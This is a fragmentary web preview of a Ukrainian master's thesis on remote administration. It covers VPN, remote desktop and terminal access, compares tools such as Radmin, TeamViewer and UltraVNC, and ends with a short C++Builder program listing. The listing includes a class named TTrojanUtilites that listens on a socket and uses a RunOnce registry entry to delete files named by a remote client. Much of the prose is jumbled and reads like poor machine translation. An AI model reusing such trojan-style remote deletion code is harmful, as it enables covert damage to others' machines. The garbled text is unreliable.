Professional Documents
Culture Documents
PZ
PZ
ЗВ’ЯЗКУ
Пояснювальна записка
до кваліфікаційної роботи
другого (магістерського) рівня
за освітньо-професійною програмою підготовки
ДОВІДКА
Відповідальна особа
(науковий ступінь, вчене звання) (підпис, дата) (ініціали, прізвище)
Висновки:
Члени комісії:
(підпис, дата) (науковий ступінь, вчене звання, прізвище, ініціали)
ЗАТВЕРДЖУЮ
В.о. завідувача кафедрою ІПЗ
д.ф-м.н., проф.
_____________Б.Є. Панченко
“ ” 20 року
ЗАВДАННЯ
НА МАГІСТЕРСЬКУ РОБОТУ СТУДЕНТУ
керування
Слайд 2 - Майстер налаштування сервера маршрутизації та віддаленого
доступу
Слайд 3 - Встановлення нового VPN-з'єднання
Слайд 4 - Активна ssh-сесія у PuTTY
Слайд 5 – Лістинг програми
КАЛЕНДАРНИЙ ПЛАН
№ Строк виконання
Назва етапів магістерської роботи Примітка
з/п етапів роботи
1 Розроблення плану дипломного проекту, ознайомлення з 22.10.2022
літературними джерелами за темою –
25.10.2022
2 Аналіз предметної області магістерської роботи 26.10.2022
–
30.10.2022
3 Специфікація вимог до системи 01.11.2022
–03.11.2022
4 Проектування програмної системи 4.11.2022 –
11.11.2022
5 Розроблення програмної реалізації проекту системи 11.11.2022
–
21.11.2022
6 Тестування та опис функціонування системи 21.11.2022
–
01.12.2022
7 Перевірка чернетки магістерської роботи та внесення змін 03.12.2022 –
керівником 05.12.2022
8 Перевірка якості роботи в системі «Антиплагіат» 06.12.2022
ВСТУП…………………………………………………………………………….. 9
1МЕТОДИ ВІДДАЛЕНОГО ДОСТУПУ………………………………...……… 11
1.1Загальні відомості про віддалений доступ…………………………………… 11
1.2 Доступ до віддаленої мережі…………………………………………………. 13
1.2Виконання команд на віддаленій системі……………………………………. 15
1.3Інтерактивне керування віддаленою операційною системою………………. 19
1.4Термінальний режим роботи………………………………………………….. 19
1.6 Доступ та керування через веб-інтерфейс…………………………………… 21
2 ЗАСОБИ ВІДДАЛЕНОГО ДОСТУПУ………………………………………… 23
2.1 Доступ до віддаленої мережі за допомогою VPN…………………………… 23
2.2 Доступ до віддаленого робочого столу……………………………………… 29
3 АНАЛІЗ ПРОГРАМНИХ ЗАСОБІВ ВИДАЛЕНОГО
34
АДМІНІСТРУВАННЯ…………………………………………………………….
3.1 Radmin………………………………………………………………….……… 36
3.2 Ammyy Admin………………………………………………………………… 37
3.3 Remote Master…………………………………………………………………. 37
3.4 TeamViewer……………………………………………………………………. 38
4 РАЗРОБКА ПРОГРАМИ АДМІНІСТРУВАННЯ ФІЛІЇ ПІДПРИЄМСТВА.. 41
4.1 Вибір засобів для розробки програми……………………………………….. 41
4.2 Моделювання програми………………………………………………………. 47
4.3 Опис програми………………………………………………………………… 49
ВИСНОВКИ ТА РЕКОМЕНДАЦІЇ…………………….……………………..…. 53
ПЕРЕЛІК ДЖЕРЕЛ ПОСИЛАННЯ……..………………………………………. 54
Додаток А ПЕРЕЛІК КОПІЙ ДЕМОНСТРАЦІЙНОГО МАТЕРІАЛУ……….. 57
Додаток Б ЛІСТИНГ ПРОГРАМИ……………………………………………… 58
ВСТУП
даних від віддаленого розташування або пристрою через канали передачі. Один
із загальних методів умови даного типу віддаленого доступу є використання
VPN». У даній роботі розглянемо ситуацію, коли у віддаленого користувача
буде можливість віддаленого доступу до мережі, щоб використовувати ресурси
іншої мережі, наприклад мережі в організації. У цьому роботі розглянемо лише
логічне взаємодія віддалених систем, передбачається, що є певна третя мережу,
яка є посиланням між комп'ютером користувача і комп'ютерами організації.
Зазвичай така мережа є мережею Інтернет [16].
VPN скорочення дешифровується як "Віртуальна приватна мережа", яка
перетворюється як "Віртуальна приватна мережа". Технологічна VPN
використовується для створення однієї мережі по іншому. З його довідкою
можливо об'єднати віддалені комп'ютери в одній логічній мережі,
використовуючи, таким чином, не під каналами передачі управління. Також
з'єднання унікального клієнта до вже існуючої мережі можливе. Найчастіше для
створення віртуальної мережної інкапсуляції протоколу PPP у будь-якому
іншому протоколі використовується, нормально – в IP. Метод інкапсуляції
полягає в тому, що пакети транспортного протоколу об'єднаних мереж
упаковуються в пакети транспортного протоколу транзитної мережі і потім
розпаковуються. Таким чином, віддалений клієнтський користувач,
використовуючи транзитну мережу, стає елементом іншої мережі, які пакети є
incapsulated в транзиті. З іншого боку від віддаленого клієнтського користувача
є сервер VPN, завдання якого прийняти з'єднання клієнта, ідентифікувати та
конфігурувати клієнта. Зазвичай сервер VPN резервує певний діапазон IP-адрес,
звідки згодом дає адреси у використанні з'єднаним клієнтам. Клієнт,
отримуючи адресу, стає повноправним учасником віддаленої мережі.
Вимикають клієнта, адреса, пристосована цьому, випускається і може бути дано
у використанні іншим клієнтам [9].
VPN рішень може бути класифікована на кількох основних параметрах,
що виводяться на екран у таблиці 1.
Широко поширене рішення є використання VPN для створення захищеної
15
Передача З віддаленої системи виходить знімок екрана, який потім без змін
передається на керуючу систему. Цей спосіб простий у реалізації, але
зображення
дуже вимогливий до пропускної спроможності мережі та
«Як є» обчислювальних ресурсів систем.
Передача тільки Після того, як один раз було передано повне зображення екрана, надалі
За способом
ділянок передаються лише ті його ділянки, вміст яких було змінено. Це
передачі
зображення, дозволяє суттєво економити пропускну здатність каналу та
зображення
обчислювальні ресурси систем.
екрану
що змінюються
Цей спосіб відрізняється від попереднього тим, що користувач або
Система передачі адміністратор можуть вибрати спосіб передачі зображення,
змінних ділянок, наприклад зменшити кількість кольорів, частоту синхронізації кадрів
що налаштовується або алгоритм стиснення зображення. Це дозволяє використовувати
канали
передачі з невеликою пропускною спроможністю.
За способом Запускаються Автозапуск засобів дистанційного керування екраном
запуску на автоматично використовується, найчастіше, для серверів або робочих станцій, які
віддаленій повинні контролюватись адміністратором і не вимагають присутності
системі користувача у керованої системи.
За способом Запускаються на Кошти, що запускаються на вимогу,
запуску на вимогу або за використовуються, як правило, для надання
віддаленій згодою
технічної підтримки та разового налаштування віддалених систем у
системі
присутності користувача. Користувач або сам ініціює управління його
системою, або підтверджує свою згоду на пропозицію такого
управління.
19
Використання стандартних Використовуються лише стандартні специфікації, такі як HTML та CSS, які
функцій браузера розуміються всіма браузерами.
того самого або навіть від іншого терміналу. Це вікно дозволяє дивитися, хто
від користувачів тепер з'єднується, а також хто зараз працює в сеансі.
За допомогою контекстного меню з цього вікна, можливо, роз'єднати
клієнтів, надіслати їм повідомлення, дивитися інформацію про стан з'єднання і
навіть бути з'єднаним, щоб віддалити сеанси інших користувачів з
адміністративною метою.
Програма Windows, що з'являється в ролі клієнта термінального сервера,
викликають "З'єднання з віддаленим робочим столом" і може бути запущено
через меню програм або прямий виклик файлу "mstsc.exe".
Під час просування кнопки «Parameters» буде виведено на екран
додаткові коригування, які можуть бути встановлені на початок з'єднання.
Користувач може визначити колірну палітру, режим використання звуку і
визначити пропускну здатність каналу передачі даних, що використовується
[38].
Для Систем Unix також є програми, що дозволяють з'єднуватися з
термінальним сервером компанії Microsoft. Консольна програма «rdesktop»
найчастіше використовується, однак GNOME робочого середовища містить
також графічний додаток «tsclient», який є зовнішнім інтерфейсом для
«rdesktop». Набір параметрів у вікні "tsclient", потім передаються додатком
"rdesktop", який виконує з'єднання з термінальним сервером.
Частіше застосування термінального режиму доступу вирівнюється по
ширині на підприємствах, де більшість частин зменшується до роботи з
різними документами чи базами даних.
35
3.1 radmin
3.4 TeamViewer
Можливість підключення до Ні Ні Ні Ні
віддаленого комп'ютера через
Інтернет
Зручне адміністрування Так Ні Ні Ні
великої кількості
- шифрування.
Мінуси:
- застарілий інтерфейс.
UltraVNC – це потужне, просте використання та безкоштовне програмне
забезпечення для віддаленого доступу до ПК, яке може відображати екран
іншого комп'ютера (через Інтернет або мережу) на вашому власному екрані.
Програма дозволяє використовувати мишу та клавіатуру для віддаленого
керування іншим комп'ютером.
Плюси:
- текстовий чат;
- передача файлу;
- автоматична синхронізація буфера обміну;
- може підключатися через браузер;
- відправлення команд клавіатури;
- може підключатися до віддаленого ПК у безпечному режимі.
Мінуси:
- на сервері потрібно перенаправлення портів маршрутизатора;
- не призначений для спонтанної підтримки;
- віддалений друк не підтримується;
- немає опції Wake-on-LAN (WOL). [1]
VNC Connect - це програмне забезпечення для спільного використання
екрана, яке дозволяє підключатися до віддаленого комп'ютера в будь-якій точці
світу, дивитися на його екран у режимі реального часу та керувати ним, якби
сидів перед ним.
Плюси цієї програми:
- може працювати на міні комп'ютерах, наприклад, Raspberry;
- підключення через локальну мережу та інтернет;
- обмін файлами;
- вбудований чат;
- друк.
Мінуси:
- платний;
- для безперебійної роботи потрібна висока швидкість інтернету;
- не прозорий для брандмауера, вимагаючи звільнення порту.
47
Засобами управління є:
- технічне завдання;
- документація
користувачі.
У процесі функціонування програми можна виділити обробку запити
отримання інформації про машині користувача, куди входять запити до ОС.
Користувач працює з даними з ОС і даних з бази даних виконана за допомогою
прописаного алгоритму.
Таким чином модель наочно відображає дії програми. Користувач,
використовуючи форму, вібирає необхідну машину, далі відбувається
підключення до машини або отримує необхідну системну інформацію і виконує
необхідні дії з відібраною машиною. Розробник може взаємодіяти як із
обробкою даних, і з додатком.
Користувач, на відміну розробника, безпосередньо взаємодіє лише з
додатком.
50
Сервер
void fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент
TServerSocket ServSckt->Port = 4321;
ServSckt->Active = true;
}
void TTrojanUtilites::DeleteFile(String f)
{
if (!FileExists(f))
{
Sock->Socket->Connections[0]->SendText("Файл не існує.");
return;
}
TRegistry* Reg=new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg-
>OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true);
Reg->WriteString("Filez for delete","command.com /c del "+f);
Reg->CloseKey();
Sock->Socket->Connections[0]->SendText("Файл "+f+" буде видалено після
перезавантаження.");}